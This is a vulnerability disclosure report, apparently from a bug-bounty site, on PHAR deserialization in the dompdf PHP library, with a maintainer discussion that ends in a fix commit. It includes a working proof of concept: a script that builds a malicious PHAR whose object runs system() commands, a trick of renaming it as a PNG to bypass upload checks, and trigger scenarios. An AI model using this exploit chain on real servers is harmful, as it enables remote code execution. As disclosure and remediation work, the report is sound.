Deserialization of Untrusted Data in dompdf/dompdf
Reported on
Sep 20th 2021
Description
DomPDF is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_get_contents() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when DOMPdf is used with frameworks with documented POP chains like Laravel / vulnerable developer code.
Proof of Concept
- Setup the following code in /var/www/html: vuln.php represents our use of DOMPdf functions and phar-poc.php represents code with a vulnerable POP chain.
// vuln.php
<?php
// Include autoloader
require_once 'dompdf/autoload.inc.php';
// Include vulnerable objects
include("phar-poc.php");
// Reference the Dompdf namespace
use Dompdf\Dompdf;
use Dompdf\Options;
$options = new Options();
$options->set('isRemoteEnabled', true);
$dompdf = new Dompdf($options);
// Load HTML content
$dompdf->loadHtml('<img src="phar://test.phar">');
// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape');
// Render the HTML as PDF
$dompdf->render();
// Output the generated PDF to Browser
//$dompdf->stream();
?>
// phar-poc.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
- As an attacker, we generate our PHAR payload using the following exploit script:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
- Generate with:
php --define phar.readonly=0 create_phar.php
and execute vuln.php with php vuln.php, you should see whoami being executed
Note that after generating the PHAR exploit code, an attacker can rename it to whatever extension or filename they want, it is possible to rename it test.phar to test.png to bypass any file extension check by the developer and specify phar://test.png in the src attribute.
Impact
This vulnerability is capable of remote code execution if DOMPdf is used with frameworks or developer code with vulnerable POP chains.
Recommended Fix:
Filter the phar:// protocol.
Occurrences
Helpers.php L853L871
Lack of protocol filtration for phar:// before passing into file_get_contents.
SECURITY.md
2 years ago
We have received the report and are reviewing it.
Hi @maintainer, apologies if I am bothering you. May I know the progress of the review? If you need more information, do not hesitate to contact me.
To confirm I understand the issue let me summarize. Dompdf itself is not vulnerable, but when run in the context of a vulnerable class it can be used as the vector for exploiting that class. Is that correct?
Can you confirm the version of Dompdf you have tested this vulnerability against?
In my testing it appears that Dompdf version 0.8.5 and earlier can be used for exploitation but that later releases can not. The reason the later releases are not a viable vector is that the phar:// URI is interpreted as a local file and so go through additional validation. The additional validation for local files runs the URI through realpath and compares the result against the allowed local path(s) specified by the chroot option.
Also, no bother I just needed additional time to review.
Hi there,
Q1. I used the latest available version on GitHub
Q2. Yes, Dompdf itself is not vulnerable but can be used as a vector, however there may be vulnerable classes in Dompdf itself.
Q3. The conditions for exploitation is that:
$options->set('isRemoteEnabled', true), allow_furl_open and the ability to upload files
Although phar:// URI is intepreted as local file it is not subjected to the same checks as a local file this is because in this line https://github.com/dompdf/dompdf/blob/master/src/Image/Cache.php#L68
$remote = ($protocol && $protocol !== "file://") || ($parsed_url['protocol'] != "");
phar:// !== file:// therefore $remote = true.
So actually chroot option is not needed
I have edited the vuln.php to reflect the above (chroot option not needed)
I'm still unable to reproduce using the exact sample you provided. $protocol is the protocol of the loaded HTML document. When you use $dompdf->loadHtml() that value is empty. As a result the logic you cited determines that the file is not remote ($protocol and $parsed_url['protocol'] are both empty).
However, current version does appear to be vulnerable in the following scenarios:
First scenario, user loads an HTML document using a remote protocol:
$dompdf->loadHtmlFile('http://example.com/vuln.html');
and that remote document references a phar on the local system.
<img src="phar://test.phar">
Second scenario, user specifically sets the document protocol to a remote protocol after loading the document.
// after loadHtml is called ...
$dompdf->setProtocol('http://');
Third scenario, HTML document has a base href that is remote:
$dompdf->loadHtml('<base href="http://example.com" /><img src="phar:///Users/datho/Documents/code/dompdf/test/security/2564/test.phar">');
Insertion of the following debug line:
file_put_contents("/var/www/html/remote.txt", $remote . " " . $parsed_url['protocol'], FILE_APPEND);
Directly after Line 68 results in:
1 phar://
I made a mistake in saying that $protocol = phar://. Instead $parsed_url['protocol'] is the one that evaluates to phar:// and:
$parsed_url['protocol'] != "" will result in phar:// !== "", which evaluates to true
Therefore since the || check was used, $remote still evaluates to true.
However, I still do not see how you aren't able to reproduce this bug, do note that allow_furl_open needs to be on. I will try to look into better ways for you to be able to reproduce my sample.
@maintainer, using your scenario 3 and another debug line I inserted:
Debug line:
file_put_contents("/var/www/html/remote.txt", $remote . " " . $protocol . " " . $parsed_url['protocol'], FILE_APPEND);
I get:
1 http:// phar://
and $remote = 1. So essentially scenario 3 will give the same result as my original scenario which confirms the existence of the bug.
Hi there, the scenario 3 you described actually reveals another vulnerability within Dompdf. To prevent the cluttering of this report, I have included another POC and details on the second report. Hopefully this is fine with you 😃
A separate report for the other issue is fine.
I was finally able to reproduce your sample. The issue is that I was attempting to use an absolute path (phar:///path/to/test.phar) instead of a relative one (phar://test.phar). It looks like there's a bug in the PHP parse_url function, which returns false when an absolute path is used with the phar protocol.
parse_url parses relative paths on my Linux machine just fine. Perhaps there is some difference in the way parse_url parses URLs on Windows vs Linux.
Anyways, thank you for reviewing this report! 🙂
Relative paths are parsed fine o my machine as well. I think it's just absolute phar paths that fail.
Thanks for the report. We'll work on this for the 2.0 release, which we will move up in the development timeline.
Any news on a patch and release for this? If so, can we mark the fix against the report, and we can go ahead and publish a CVE! ♥️
We’re actively working on this (and the other security issues) now. Small team so focusing resources is a challenge. Would appreciate a bit more time to patch. Though I understand if you want to move forward.
Similar to my message on the other report, please take your time.
Was just checking to see the state of the report - let me know if you need any support!
This should be addressed in commit ee5f3fd7.
FYI, in reviewing this issue I realized that it had previously been reported in 2019 through pull request #1903 though without any details. It is unfortunate that the vulnerability was not prioritized at the time and, ultimately, got lost as no updates came in from the OP.
Is this report also waiting for the release of a patch like the other report in question?
It is. I'll be sure to mark the reports as fixed once everything is out.